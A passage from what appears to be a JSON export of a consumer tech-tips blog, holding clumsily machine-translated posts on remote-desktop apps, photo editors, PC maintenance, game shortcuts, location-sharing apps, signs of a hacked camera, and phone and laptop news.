a vertical scroll bar for use on web pages and the like. The next icon should look like a square with a hand on it. This will place a cursor on the Android screen that will operate as a normal mouse on a PC. Much easier for realistic desktop use, as many icons can be difficult to hit on a smaller mobile screen. The following option switches between smooth and sharp graphics modes. The 'Smooth' setting will attempt to load all graphics coming from the remote PC, such as window minimizing and maximizing. The 'Sharp' setting will not load most graphics. This is to maximize weaker connections. The last option will mute and unmute all audio coming from the remote PC. NOTE: All audio should stream to the Android device from the remote PC by default.   Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0vMuaqqGsn6V6tbuMq5ymp6Saubp5wJyanqujYsawwdFmmqiloKrBpr4%3D\n","link":"/post/how-to-use-splashtop-to-remotely-access-your-computer/","section":"post","tags":null,"title":"How to Use Splashtop to Remotely Access Your Computer"},{"body":"Many people think that Photoshop means image editing and you can use it for that purpose, but for some people use Lightroom instead of Photoshop. Indeed, with a little practice and knowledge, you will find it quite amazing.\nAs you would expect, these alternatives are quite good but they are not so vivid that they are full of Lightroom's power and flexibility. But if you like something simple with standard edits, then these are more than that.\nRaw Therapee (Windows, Mac, Linux)   Although its name is not appealing but Raw Therapee is surprising and is arguably the best replacement software for Lightroom. The interface is not beautiful, but it is updated regularly and has complete features.\nOne drawback is that it is slow to support camera model updates but the camera is just released regularly and DSLRs are often upgraded so this is not a big deal for anyone who likes it.\nDarktable (Mac, Linux)   If you ask someone about software that replaces Lightroom if they do not mention Raw Therapee, I assure them they will mention the name Darktable. Open source RAW image design software not only has a dozen great features but also a neat and easy-to-operate interface.\nThe only reason why we listed it after the Raw Therapee is that Darktable doesn't support Windows.\nPhotoscape (Windows, Mac)   If you don't like Raw Therapee or Darktable for some reason, there won't be many other good options for you to choose from. Photoscape may be the last choice. The latest version is released in 2014.\nncG1vNJzZmismaXArq3KnmWcp51kvam706hknpyZqbavs4yspp%2Bsp5a%2FpnnFqKlmpJmctbW%2BzqikZpmcqbKzusCtoK%2Bd\n","link":"/post/photo-editing-software-for-lightroom-alternative/","section":"post","tags":null,"title":"Photo editing software for Lightroom alternative"},{"body":"TipsMake.com - If you have an Xbox 360 or a Windows Mobile phone, you should integrate all your music files and videos with Windows Media Player 12. However, you have problems. deals with refreshing your music library and keeping them neat? Try following these simple steps to restore your music library with just a few clicks.\nHow to restore the music library of Windows Media Player 12\nStep 1 - Turn off the Windows Media Player Network sharing service\nFirst, make sure you turn off Windows Media player completely. Next, click on Windows Start Menu Orb and type services.msc in the search field. Press Enter to open the Services window.\n  In the Services window, search for Windows Media Player Network Sharing Service. To turn off this feature, right-click it and select Stop. A small window will appear when the shutdown process is completed.\n  Step 2 - Delete the database file of the library\nKeep the Services window intact, we will need it later.\nNext, open Explorer and Browse windows according to the following path:\n% USERPROFILE% AppDataLocalMicrosoftMedia Player\nHere, delete all files named CurrentDatabase _ ***. Wmdb and LocalMLS _ *. Wmdb\nNote: there are some files with the same name LocalMLS _ *. Wmdb, make sure you have deleted all files.* are random numbers, each computer has its own number, so it is impossible to set this number exactly. There are only a few file names so you will see them easily.\n  \nStep 3 - Restart Windows Media Player Network Sharing Service\nNow you can close the Explorer window and return to the Services window. In this window, re-search Windows Media Player Network Sharing Service right-click and select Start. A smaller window will appear, showing the process of enabling this service.\n  \nStep 4 - Refresh your library\nNext, your job is to open WMP 12 and let the music library restore itself. Based on how fast your songs are as well as your computer, this process can take 15 to 30 minutes.\nConclude\nThis guide can help you whenever you have problems with your music library in Windows Media Player 12. However, hopefully there will be no problems with your Windows Media.\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2F06ipnmWdqsCqr4yloJuqkafGbrXNZq6ippSkxLR5zJ6bopldpbmixcSrZGpq\n","link":"/post/restore-music-library-in-windows-media-player-12/","section":"post","tags":null,"title":"Restore music library in Windows Media Player 12"},{"body":"The competition for processing power or screen resolution in the smartphone world has really cooled down, now is the time when the companies compete with 'dots' on the camera as well as the quality of photos. This trend is being led by a series of Android giants such as Oppo, Huawei, Xiaomi, and especially Samsung.\nWe have in turn witnessed the launch of a series of smartphones with 48MP, 64MP and even 108MP camera sensors, but Samsung has much bigger ambition than that. Recently, a representative of the producer Kim Chi said that the company's leaders are aiming to realize a plan to launch a smartphone equipped with a camera sensor up to 600MP. Yes, you read that right. The reason Samsung has given is because the human eye has been proven to reach an estimated resolution of about 500 dots, and they simply want to go beyond this limit.\nSamsung Galaxy S20 Ultra Of course, the 600MP sensor Samsung plans to develop will not only be available on smartphones, but will also have a huge potential when used on more 'special' technology devices such as unmanned vehicles. drones, as well as many other IoT products, or even in the fields of health and agriculture.\n'The type of 600MP sensor we are talking about here is a long-term goal, we can't disclose any details at the moment. Every decision and specific route will be thoroughly evaluated. Creativity and innovation have always been our top priority, '' a Samsung representative said in an interview with Android Authority.\nThus, it can be seen that the phone with the new 600MP camera is just stopping at the idea level. But it is clear that Samsung has absolutely enough human and financial resources to make such ideas a reality. The problem is only time and especially efficiency in practical use - whether it is enough to convince the Korean manufacturer to pursue this ambitious project.\nIn a related news, there are rumors that Samsung will launch a 192MP smartphone this year, let's wait and see!\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWgoa6vv4ytpmakkaq7pLSMrKSaqqSltbC6xGauoqyYYoNxfMypZJyZnZq%2Fog%3D%3D\n","link":"/post/samsung-plans-to-launch-smartphone-with-600mp-camera/","section":"post","tags":null,"title":"Samsung plans to launch smartphone with 600MP camera?"},{"body":"Usually, the error is caused by the old thermal paste between the CPU and the cooler that has dried.\nThankfully, it's not too difficult to re-apply the CPU thermal paste in a laptop or desktop computer. Read the following article to know how to check the CPU thermal paste.\nTools needed to apply thermal paste Applying thermal paste is quite simple and can be done with available tools. However, since you are working with sensitive electronic components there is a risk of damage, so be sure to always follow the safety guidelines detailed in this manual.\n  Tools needed include:\nScrewdriver. Anti-static wrist strap. Nitrile rubber gloves (powder-free). Isopropyl alcohol (purity 70% or higher). ESD wipes or coffee filter paper. Heat sink. Steps to check CPU thermal paste Step 1: Approach the area where the CPU cooler is located Refer to the manual that came with your desktop or laptop computer to disassemble the chassis and access the CPU cooler location. Wear an antistatic wrist strap and when making sure it is grounded. Before continuing, don't forget to turn off your computer and disconnect all power cables.\n  This is a fairly straightforward process for desktops with tower cases. Just unscrew all the screws to remove the left guard (when viewed from the front), then place the case on its side, preferably on a desk, for easy handling.\nLaptop users should consult the manufacturer's manual to confirm the location of the screws and that the retaining tabs must be removed before accessing the interior. This varies greatly depending on the manufacturer and model of the laptop in use.\n  Some MacBooks and Microsoft Surface laptops are notoriously difficult to open. You can check out this excellent iFixit site here.\nIn case you can't find the manual for your particular laptop, chances are iFixit will have disassembly instructions for that laptop.\nStep 2: Remove the CPU cooler Desktop CPU coolers, either liquid or air cooled, are typically secured to the IHS CPU with 4 screws. Some CPU coolers may involve non-permanent motherboard racks and require special handling instructions. The article recommends that you refer to the CPU cooler assembly instructions to find the right disassembly method.\nLaptop coolers also involve a very different number and placement of the screws that secure the heatsink on the CPU. Refer to the appropriate manual or the aforementioned iFixit laptop repair information archive for exact instructions regarding your laptop model and make.\n  Regardless of the nature of the device, make sure you don't try to pull the CPU cooler away from the IHS. Start by turning the cooler slightly. This will make it easier to get the cooler out of the IHS CPU.\nDo not apply excessive force if you feel the cooler is attached too tightly. In that case, the heatsink compound may have stuck too firmly to the CPU IHS. Using a blow dryer on the CPU will help melt the hard dry glue.\nStep 3: Wipe off the old thermal paste This is why you should wear powder-free nitrile rubber gloves to protect your skin from toxic heat glue. Gloves also protect the IHS block and CPU from finger oil, which can reduce heat conduction.\nDab a little isopropyl alcohol (IPA) on an ESD wipe or clean coffee filter paper and proceed to wipe away any remaining thermal paste on both the IHS CPU and the copper block.\n  Make sure you don't use regular paper towels or cloths, as they can leave behind lint or dust. ESD wipes are a bit pricey, but they are best suited for this task. Coffee filter paper is the second best choice. It may not be as good as an ESD towel, but at least it won't leave paper residue on cleaned surfaces.\nContinue to wipe the thermal paste with a new cleaning cloth until the cloth/paper is no longer discolored. If using 99% IPA, you don't have to wait too long before you can reapply the thermal paste. Lower concentrations of IPA will increase the waiting time.\nWait at least five minutes if you used a 70% purity IPA.\nStep 4: Apply new thermal paste The proper amount of thermal paste is a controversial topic in the PC hardware community. But there's one simple rule worth following: Avoid under-smudging the IHS CPU. Applying thermal paste too thin will create hot spots on the IHS, thus resulting in suboptimal cooling.\nHowever, excess thermal paste is automatically removed when the CPU cooler is attached. That shouldn't be a problem if you're using a non-conductive one, so you should take extra care when injecting the glue in a cross, with small dots in between the quadrants, as shown in the illustration. below.\n  This is especially true for CPUs like the AMD Threadripper, as its unique chiplet design spreads the silicon over a much larger area than the IHS. On the other hand, the heat-generating silicon die in Intel processors is concentrated in the center and occupies only a small part of the total surface area of ​​the IHS.\nHowever, be warned if you must use conductive thermal paste. In this case, apply test glue and then install the CPU cooler. Next, remove the cooler to check for optimal coverage. Start over with adjusting the amount of glue if you experience spills or shortages, and clean the surface between each test application.\nRepeat this process until you find the right amount of thermal paste required for optimal coverage. Do a final check with the right amount of thermal paste.\nStep 5: Attach the CPU cooler Follow the instructions provided in the manual to attach the CPU cooler to the IHS. In most cases this involves tightening 4 screws. However, it is important to tighten them in the correct order.\n  Start by positioning the copper block flat on the IHS CPU and turning each screw with your fingers. Do not fully tighten the screws at this joint.\nInstead, slowly tighten the screws in the order shown in the image below. Repeat the process until all screws have been tightened.\n  Following this procedure is important to ensure that uniform tightening is applied to the entire IHS CPU. Failure to do so results in uneven pressure, which can create hot spots that are detrimental to cooling performance.\nStep 6: Reinsert the removed protective panels Reverse the steps taken to disassemble the device and ensure that all screws are properly inserted and tightened. It's done! You have completed the necessary operations.\nConfirm everything is fine As a final step you need to confirm that the cooling system is working as intended. Download and install the free HWiNFO tool to verify if the CPU idle temperature exceeds ambient (room) temperature by 68°F (20°C) or more.\nYou can also use CPU benchmarks like Cinebench to evaluate CPU heat under synthetic load conditions. The HWiNFO tool also shows whether the CPU is overheated or reaching a critical temperature threshold during gaming.\nIf that happens, you have installed the wrong CPU cooler or it may not be suitable for your CPU. If your CPU's thermal performance is within the specification's allowable range, you've successfully re-applied the CPU thermal paste.\nthermal paste ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7KktMScomasmJq%2Frq3LZqeaq6Saeqe70WaaqKWgqsGmvoycp64%3D\n","link":"/post/steps-to-recheck-thermal-paste-for-computer-cpu/","section":"post","tags":null,"title":"Steps to recheck thermal paste for computer CPU"},{"body":" Summary of FIFA Online 4 gaming shortcuts, FIFA Online 4 game shortcuts will help gamers easily get used to the fastest way to play FO4.\nFIFA Online 4 game shortcuts will help gamers easily get used to the fastest way to play FO4. FIFA Online 4 is currently the most played football game in Vietnam, after FIFA Online 3, FIFA Online 4 is the name officially released by Garena Vietnam with many attractive incentives.\nThrough the list of FIFA Online 4 shortcuts below, it is absolutely essential that gamers need to keep in mind when starting to play the game. We have divided the FIFA Online 4 shortcuts into specific functions, so gamers will not take too long to get used to. Most of these shortcuts are taken from FO3 to FO4 so they are still quite familiar.\nFunction shortcuts in FO4 Alt + Enter: Switch the game screen from windowed mode to full screen mode and vice versa. ESC: Pause, pause the game. Long press Tab: View current ping. Number keys from 1 to 10: Team strategy (tight defense, Pressing, counterattack.). ], [ : Increase or decrease the team's attack or defense level.   Shortcut to control goalkeeper in FIFA Online 4 W (when there is no ball): Rush. W (when there is a ball): Drop the ball. A, D: Long pass, high and strong serve. S: Short, light pass. Z + S: Throw the ball low. Press and hold S: Throw the ball away. Keyboard shortcuts to control players in FO4 Z: Get the ball. Z + A: Navigate when shooting the ball. E: Push up the pressure formation. A: Long pass, cross, header, long throw. D: Shot, volley, header, shot, close throw.   Attack Shortcut ←↑↓→: Move the player. Ctrl + ←↑↓→: One-touch catch or long push. Q + ←↑↓→: Stop the ball and look at the target. E + ←↑↓ →: Accelerate, run fast. E + any arrow key opposite the direction of movement: Stop the ball suddenly. C + ←↑↓ →: Hold the ball, control the ball in the foot. Shift + ←↑↓ →: Perform the technique of bypassing people, reversing the ball. C + E: Face the dribbler. S: Short pass, header. A: Long pass, cross, header, long throw. W: Punch, throw in. D: Shot, volley, header, shot, close throw. Q+C: Hold custom shadows. C: Hold the ball and cover it (the player will have his back to the opposing defender). Q + D: Prick the ball, press the ball, bounce the ball over the goalkeeper's head. Q + W: Poke the scholarship. Q + S: Low range poke. D + D: Thick shot, low header. D + S + ←↑↓ →: Pretend to shoot. A + S + ←↑↓ →: Pretend to pass. Z + W: Turn on the wall with teammates. Z + A: Pass. Z + S: Pass the ball low. C + S: Unexpected pass. Hold down Z: Pass technique. A + A: Low cross. Q + A: A quick cross. Z: Request support. E + C: Cancel. Z + D: Cut the heart, spin the shot (shot with the inside cheek). C + D: Sudden shot, quick shot.   Defense Shortcuts S: Change control player. Shift + ←↑↓ →: Change players (in the direction of the arrow). A: Split and get up quickly after a tackle or slip. Space: Tackle the ball. Press and hold Space when chasing the ball: Push, shoulder, press the ball. Hold down D: Close to the opponent. D or S: Break the ball, head to clear the ball (when the ball is high, corner kick). Long press Q: Ask teammates to support defense. C: Accompanied by short people. E: Run fast, move the fence. Z: Raise your formation. W: Goalkeeper rushes, the ball barrier jumps (when taking a free kick). C + ←↑↓ →: Dispute the ball. Press and hold C + E: Run and control. Shortcut for throw-in, corner kick A: Strong corner kick. A + A (press A twice): Light corner kick. A + A + A (press A 3 times): Corner kick (closer to the ground). S: Passing. Z: Change players. ←↑↓→: Align, select target to pass or shoot. C: Call a nearby player. D: Finish, header, volley. S: Close throw in. W: Quick throw-in (custom). A: Long throw-in. A + S / S + A: Pretend to throw in.   Shortcut for direct free kick D + ←↑↓ →: Spinning shot (spin in the direction of the arrow). Q + D: Custom shot. S: Pass the ball low. A: Long pass, cross. E: Choose the shooter. C: Call the second kicker. Z: Call the third shooter. C + D: Let the 2nd player shoot the ball. Z + D: Let the 3rd player shoot. W: The ball barrier jumps up. D: Control the defense. C / E: Move the defense. Z: Raise the defense. Ctrl + ←↑↓ →: Adjust position. Penalty Control (Penalty) ←↑↓ →: Move the player or change the direction of the ball. D: Shoot the ball, finish. E: Choose the shooter. Z + D: Cut the heart, shoot with the inside cheek. Q + D: Hit the ball. Ctrl or D + ←↑↓ →: Control the goalkeeper when catching a penalty.  Samuel Daniel Update 23 March 2022\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qntcWaZKimnJ67pnmTZp6apZmjtG63xLKZqJmimXq0tM6rq5ytpKg%3D\n","link":"/post/summary-of-fifa-online-4-gaming-keyboard-shortcuts/","section":"post","tags":null,"title":"Summary of FIFA Online 4 gaming keyboard shortcuts"},{"body":"Similar to Google's dinosaur T-rex game, which appears every time the home loses its Internet connection, Let's Surf is a mini game developed by Microsoft on the Microsoft Edge browser to help users avoid getting bored when \"dropped\". .\nWhen disconnected from the network, Microsoft Edge Dev users will see a small message under You're not connected 'Want to play a game while you wait?' Section. Click Launch Game, Let's Surf mini game will appear to entertain users.\nIf you do not lose your network connection and still want to experience Let's Surf without having to turn off the wifi or unplug the network, you can type in the search bar of the Edge browser command line \"edge: // surf\" is okay.\n  To play Let's Surf, you just need to use the left and right arrow buttons and SPACEBAR button to control surfers on Earth's most \"polluted\" oceans. During surfing, you must try to stay away from the tentacles of a purple sea monster, the obstacles as long as possible. You will lose with just one touch of an obstacle.\nThe game has three different game modes:\nClassic mode (no time restriction): The default mode of this game on startup. To make it easier to see (there is a square around the characters and obstacles) and reduce the speed of the game, you can activate the display mode in the settings menu in the upper right corner of the screen. Time mode: This is a timed race. Zigzag mode: Players must try to find their way through as many gates as possible. Currently, Let's Surf is only available with beta versions of Microsoft Edge browser. (test versions). If you want to experience, you can visit the link below for free download.\nMicrosoft Edge Insider Channels ncG1vNJzZmismaXArq3KnmWcp51kuabA0maqrqqWYsGpsYynnLBlnZ6ws7vSqJ2tZZWZtKZ5zKKlomWXlrqmeceeo6mrXarApr7SZpivp5mZeqix062gp59dl7yzscNmrqGdnmLBqbHYZpuinQ%3D%3D\n","link":"/post/the-new-microsoft-edge-mini-game-helps-users-avoid-getting-bored-when-they-die/","section":"post","tags":null,"title":"The new Microsoft Edge mini game helps users avoid getting bored when they 'die'"},{"body":"Usually, we don't want others to know our current location. However sometimes we have to go home late and to be safe we ​​want to share our current location with relatives and friends.\nIn the past, to inform yourself, you need to call and hold the phone continuously until you arrive. Now, this job is easier than ever with free applications.\nFamily Tracker application - GPS Tracker\nWhile other applications only share location, Family Tracker - GPS Tracker allows you to create groups called Circles. In this group you can add the person you want to follow. When installing for the first time, it will ask for the code to join the existing group or create a new group.\n  The app provides check in feature, informing everyone in the group about your current location. Check-in options are located at the top of the screen. In addition, you can select the 3 horizontal bars that overlap and the battery to notify someone that the battery is low and need to be charged.\nGeoZilla GPS Locator application - Find relatives and friends\nGeoZillaGPS Locator has unique features that are capable of saving battery. In addition, it has many other interesting options. Select the 3 horizontal bar icons overlap, you can open the To-Do List option and see the tasks assigned to family members.\n  GeoZillaGPS Locator also has Chat option, where you can send messages to team members; see notification, notification history; Receive low battery alerts from other members and Emergency options to notify numbers in contacts, you are in an emergency.\nMy Location application - Map and directions\nWith applications like this, the fewer steps you can take, the better. With My location, you can use saved locations for faster access. You can navigate to saved locations without opening the application.\n  Select the 3 horizontal bar icons overlap, to access the GPS option. Here you can enter the latitude and longitude of the current position.\nGlympse - Share GPS location\nUnlike other GPS applications, when using Glympse, you do not need to register an account if you do not want to. You can use the application as a guest or register an account. However, you can still notify your friends and relatives of the current location due to the application running in the background.\n  With Glympse, those who are notified do not need to install the application. To make the 3 horizontal bar icon overlap\u0026gt; select \" Share my Location \"\u0026gt; select Facebook, Twitter or Evernote (where you want to share your current location).\nYou can also share your location through any application you have installed on your Android device. In addition, My Location has the option to share location for a certain period of time. You can estimate the amount of time you will arrive and notify your friends when you will arrive.\nGoogle Maps application\nGoogle Maps is a popular and widely used application. You can also share your location with Google Maps. Select the 3 horizontal bar icon overlap, you will see a variety of options, including Location Sharing .\n  The first option allows you to decide how long to share your location. Touch the plus and minus buttons in blue to increase or decrease the location sharing time. Touch the dot to select the application you want to share.\nGoogle Maps and 8 useful tips you should know How to send Google Maps routes from PC to phone Instructions to prevent Google from tracking you through Google Maps Even in life there are times when you just want to be alone, completely separate from the outside world and don't want anyone to know where you are. But if you need to share your location, any of the previously mentioned apps can help you complete this task easily.\nExplore more:\nTop 9 interesting mobile apps you may have never known Top 10 smartest Android notification management apps available today Top 6 quality Android phone screen video recording applications Top application to watch online TV on TV Top Android application to make Stop Motion videos for free Top best antivirus application for Android phones ncG1vNJzZmismaXArq3KnmWcp51kgm6xwKywZqSfmK61tc6nZKygkae2r7OMmqepq12ku26tzZ2pqKGU\n","link":"/post/5-easy-location-sharing-apps-on-android/","section":"post","tags":null,"title":"5 easy location sharing apps on Android"},{"body":"A fact that not everyone knows, is the security camera system, especially for systems with unsecured network connections. Hackers can attack security cameras with low security to track, even invade your private life and use the information gained for malicious purposes.\nWhen hackers attack and gain control, they will try to hide the presence on your system. However, there are still some signs to help you identify the camera system has been hacked.\n  Unusual noise from the security camera\nIf the security camera makes strange or unusual noises, it is likely that the hacker has gained control and is operating the system to view and record all your activities.\nThe camera LED is blinking\nTake a look at the webcam in the security camera system, if the LED flashes abnormally, it is possible that hackers are trying to access your webcam. Please restart the computer, if the light continues to blink, your security camera has been compromised.\nYou do not turn on the webcam and the light is still on, which is also a sign that your security camera has been attacked.\n  The camera rotates abnormally\nIf the security camera in your home automatically rotates to different positions in the house or moves with you every time you move, then it is very likely that a hacker is controlling it to spy on you.\nSecurity settings of the camera have been changed\nPasswords are returned to the default or changed even if you do not interfere is also an indication that hackers have touched your system. So, regularly check the security settings on the camera to check if they are still safe or not.\n  Mobile data traffic or network traffic changes abnormally\nMonitor the Internet traffic of the network system that the security camera is using if it sees a sudden increase in traffic, it is possible that hackers are entering your camera system.\nTo avoid the unfortunate risks that may occur, take precautions to ensure the safety and privacy of your family. You can refer to the article 'Simple ways to protect your home security camera, avoid hacking'.\nncG1vNJzZmismaXArq3KnmWcp51kgm6%2FyKClrGWkna61ediorKtllpa6qrjYrGSsraKrsqq4y5qlnJ1dmK6usdGaZKGZo2KvprHNZp%2Bam5uasQ%3D%3D\n","link":"/post/5-signs-that-your-family-s-surveillance-camera-has-been-hacked/","section":"post","tags":null,"title":"5 signs that your family's surveillance camera has been hacked"},{"body":"Check out our list of the best time-lapse camera apps for Android below. They all produce the same effect, but some options offer their own interesting features. Explore the options and decide which is right for you.\n1. Lapse It   Lapse It is a powerful and simple camera app for time-lapse projects. Your main options when launching the application are the Settings, Gallery, and New Capture buttons, which contain some additional tools.\nWhen you're ready to create new footage, you can quickly choose frame time-lapse, resolution, color effects, white balance, modes, and more. After shooting what you want If you want, you can edit it on the spot or from the gallery.\nIn addition to cutting, adding effects, and creating timestamps, you can create your own time-lapse soundtrack. If you create a profile, you can also share your creations and see what other users have done.\nKeep in mind that some features require a Pro version, but even in its free form, Lapse It is still a very useful time-lapse camera app that can be tailored to your artistic taste.\n2. Time Lapse Camera   Another great mobile app to consider is Time Lapse Camera. The first perk is that you can use the app in two ways:\nPhoto lapse, for example you take one photo a day and have a sequence of images. Video lapse, compress captured frames into fast motion video. While both modes have adjustable settings, the Video lapse mode has a lot more going on, including a timer, max duration feature, filters, and a night mode along with resolution. and typical frame intervals. Time Lapse Camera also gives you profiles and communities to interact with, as well as additional tools and advantages if you upgrade to the premium version.\nWhen you don't want a dedicated device to get in trouble, even if it's just a low-budget time-lapse project, this is the multifunctional app you should be using.\n3. PicPac   Today's best time-lapse apps will give you more than just a camera. PicPac is one of those mobile platforms that comes with a wide range of tools to support your projects. PicPac doesn't have the most appealing or user-friendly layout, but once you get the hang of what your options are and how to use them, it's easy to love PicPac, especially if you invest in the features. Its Pro features.\nFor starters, you can take videos from your device and split them into still images to apply a time-lapse effect. PicPac is pretty straightforward when it comes to standard time-lapse videos. In addition, you can combine photos into a sequence.\nIf you want fresh footage, just turn on the camera and adjust the app's settings. Among other features, you can record audio, focus manually or automatically, and enable blur to save battery.\nWhen the recording is complete, PicPac will take you to the editor, so you can make changes and preview the result before sharing or saving it. Expected premium features include the ability to draw on images and create videos with resolutions greater than 360p.\n4. Superlapse - Time Lapse Camera   If you like simplicity and free tools, Superlapse is a good choice. The app immediately opens the camera and switches to landscape orientation. From there, you can just record your time-lapse footage or adjust settings, including resolution, recording duration, and brightness.\nAs soon as you stop recording, Superlapse allows you to share your time-lapse videos on any popular platform, including files, Google Drive or email addresses. There are no editing options - you just film and move on.\n5. Microsoft Hyperlapse Mobile   Here's another very simple time-lapse camera app, this time provided by Microsoft. When you launch Hyperlapse, you will have two options: Upload an existing video or record a new video. If you choose the latter option, the camera will activate and allow you to reverse it, as well as turn the flash on or off before recording. After recording, you can adjust the frame intervals to speed up the video.\nOnce done, you can share your time-lapse footage, change the speed again, or start a new recording. That's what Microsoft Hyperlapse Mobile is all about; A fast, clear and completely free time-lapse camera app, offers.\n6. Framelapse   Framelapse is also an option worth trying thanks to its simple yet effective design. It's best used in landscape orientation while switching settings, giving you more freedom to tweak your experience. For example, you have a wide range of effects to choose from when adjusting white balance and focus modes. You can use 2160p 4K resolution, add grids, enable video optimization, etc.\nHowever, this is a time-lapse camera app with no editing features. What you record will be the result you get, unless you make the changes through another application. Try the Framelapse experience, though, and see what it can do.\n7. Facelapse   There are many creative ways to use time-lapse techniques, such as livestreaming your life with a handheld camera. Facelapse allows you to create free time-lapse videos with images of everyone's face, whether it's yourself or someone else. While you can use Facelapse with a variety of images, if the app doesn't recognize faces, some features won't work.\nAnother issue to note is that the app doesn't have a camera tool, so you need to take pictures with your device and upload them to Facelapse. The app then turns the collection into a smooth time-lapse video.\nIn terms of settings, you can adjust the video's speed, face size, and visual order. After you save the project, you have the same saving and sharing options as any other app on this list.\n8. Time Lapse Camera \u0026amp; Videos   Time Lapse Camera \u0026amp; Videos is one of the easiest mobile apps for creating time-lapse videos. It provides you with the most basic functions for setting up and recording footage. All you can adjust is the duration, frame delay, and video quality. After burning, you will find your MP4 files in the library, from where you can share or delete them.\nAds are a downside, but that's not something too bad for a free and simple app like this.\nA powerful smartphone is more than just capable of capturing and editing videos. For specials, the app store is likely to have what you need (this series of amazing time-lapse camera apps for Android is a prime example of this).\nBut when you feel the need to optimize a project beyond with capabilities that phones don't, make sure you have some reliable websites or software on hand. They don't even cost you a dime, just take the time and effort to get the product you like.\nncG1vNJzZmismaXArq3KnmWcp51khW6uxKyrZqyZorKtrc%2BsnGabkaKys62Mmqepq12bvLN5wKebq6eZmQ%3D%3D\n","link":"/post/8-best-time-lapse-camera-apps-for-android/","section":"post","tags":null,"title":"8 best time-lapse camera apps for Android"},{"body":"The website 4pda.ru in Russia recently revealed smartphones that are about to be launched by Vsmart in the near future and posted some pictures of them. Specifically, these new models including Vsmart Star 3, Vsmart Joy 3+, Vsmart Live 3, Vsmart Active 3 and Vsmart Bee 3 were launched in Vietnam on December 20.\nVinSmart launches Vmessage, a free messaging service like iMessage, FaceTime for Vsmart users 5 highlights of the pure Vietnamese operating system VOS 2.0 on Vsmart Live For the first time, Vietnam has a data center of international standard   A few days ago, the actual image of the Vsmart Active 3 model with a full-screen design, 3 main cameras, and a \"protruding\" front camera were leaked.\n  Based on the image above, many people predict that the first device from the left will be Vsmart Active 3, the second one will be Vsmart Live 3 or Vsmart Joy 3+ (3 cameras, traditional fingerprint sensor on the face). back and USB-C port at the bottom), the third one is Vsmart Bee 3 and the fourth is Vsmart Star 3.\nIn terms of design, all 4 new products of Vsmart have a similar back, all share the same design of the location of the fingerprint sensor, LED flash, Vsmart logo and vertical camera clusters on one. side.\nThese leaked information shows that Vietnamese mobile phone brand is about to launch a series of new products, covering all segments from mid-range to low-priced in the near future to reach more users.\nncG1vNJzZmismaXArq3KnmWcp51krqTA1JqjZqiYpMGwec6fZG1lpaWwsLnIp55mq52Wv7W8x6ilnmWdpLGmuNJmraylkafBbq3CraCvnV1oeq211Z5kbGWapMZuf4ysq5qqXWg%3D\n","link":"/post/actual-photo-of-4-upcoming-smartphone-models-vsmart-active-3-live-3-joy-3-star-3/","section":"post","tags":null,"title":"Actual photo of 4 upcoming smartphone models Vsmart, Active 3, Live 3, Joy 3+, Star 3"},{"body":"A business card template with augmented reality technology (AR) was created by developer Oscar Falmer. It looks no different than a normal business card, but thanks to the integration of AR technology, it can display the keys to text, call, email, call Facetime or access the website of people on business cards. In the real world, when this business card moves, all virtual elements will move as well. These AR business cards are an effective solution to expand the content for traditional business cards, which have limited space.\n  Oscar Falmer uses Live Image Tracking Technology (Image Live Traching Technology) of ARKit 2.0 (Apple's augmented reality development environment) that allows smartphones to track an image in 3D and use it is for adding digital images to physical space. This unique idea was developed by Falmer in only 3 days.\nTo see the additional features of this business card, you will need a smartphone that has a card reader application installed. Once you open the application, you just need to project the phone into the card, additional information will appear.\nHowever, this AR business card will be hard to come true in the near future because of the disadvantages of AR applications.\n  Nobody will be interested in wearing glasses like this when reading a business card.\nFlamer acknowledged that AR applications still have certain hardware limitations. Hololens, Vuzzix or Daqri glasses . are still bulky and expensive. This is the reason why AR applications are not commonly used in life.\nSee more:\nAR and VR, the most advanced technologies in the world, but with unpredictable risks? The scary ghost in The Ring comes out of the TV screen thanks to ARKit technology ncG1vNJzZmismaXArq3KnmWcp51ksKK6jK2foqtdoq6otcJmq6uhk6DAbq3RZpqaqpRiv6a8y5qanmWknbJuvMCpnKtlkqrAqrrErKpmm5GnsW61zWaroZ1dm8K1wdGe\n","link":"/post/can-this-magic-tricks-ar-card-replace-the-paper-business-card-in-the-future/","section":"post","tags":null,"title":"Can this 'magic tricks' AR card replace the paper business card in the future?"},{"body":"Laptops using Core 2 Duo chips and discrete graphics cards can completely \" suppress \" Core i models using integrated cards.\nWith about 12 million in hand, surely you can't buy a Core i5 laptop, you can only buy Core i3 chips. Meanwhile, on Intel Core 2 processor platform, consumers have more options with different price and configuration, including discrete graphics card.\nAccording to Ms. Hoang Thi Kim Hanh, Director of HP Product Sales Center of CMC Distribution Company, consumers are facing pressure on information from computer firms and confusion among old chips. and new. However, to be wise when buying products, Ms. Hanh's advice is that the buyer must clearly identify his needs.\n  HP ProBook 4410 costs about 10 million.\nRepresentatives of laptop retail systems in Ho Chi Minh City said that Core 2 Duo chips are a great choice because laptops built on old platforms are on the list of many distributors that should be sold. Attractive promotional levels. For example, Mobile World offers gifts for up to VND 2 million, Phong Vu reduces the price by 21% when buying a Toshiba laptop. At HiShop, buyers can pay installments of HP machines at 0% interest rate, and if they pay immediately, they will be reduced by one million and many gifts.\n  Core i3 chip.\nTechnically, Core i processors are able to work better in multi-threaded graphics applications (Photoshop, 3ds max .). In addition, the difference between Core i5 processors (supporting Turbo Boost - automatically increasing processor chip speed) compared to older CPUs is also more pronounced. The difference in performance on machines with Core i3 chips with Core 2 Duo is not as obvious as Core i5, since the i3 line does not have the ability to automatically accelerate.\nIt is possible to rank chip performance in relative terms as follows (order from high to low): Core i5 430M, Core 2 Duo P8700, Core i3 350M, Core 2 Duo P8600, Core i3 330M, Core 2 Duo P7xxx .\nHowever, according to Tuan, Amtech Forum General Manager, the Core 2 Duo processor is inherently \"redundant\" in most daily use tasks on laptops, so the difference when used Using and comparing new models is unrecognizable.\n  Dell Vostro AVN 1320.\nIf you only need a laptop with enough configuration to work and sleek, like HP Probook 4410, you just need to spend more than 10 million. Or you can choose HP Compaq Presario CQ62-201TU or Dell Vostro AVN 1320 for over VND 11 million, but own a high-performance Intel Core 2 Duo T6670 processor.\nIf you work in graphic design or simply a technology fan, the Core i7 or Core i5 processor will be the first choice - of course the investment will also be higher.\nIf you are a gamer, the main problem to consider is the graphics card. Therefore, select models that are equipped with a 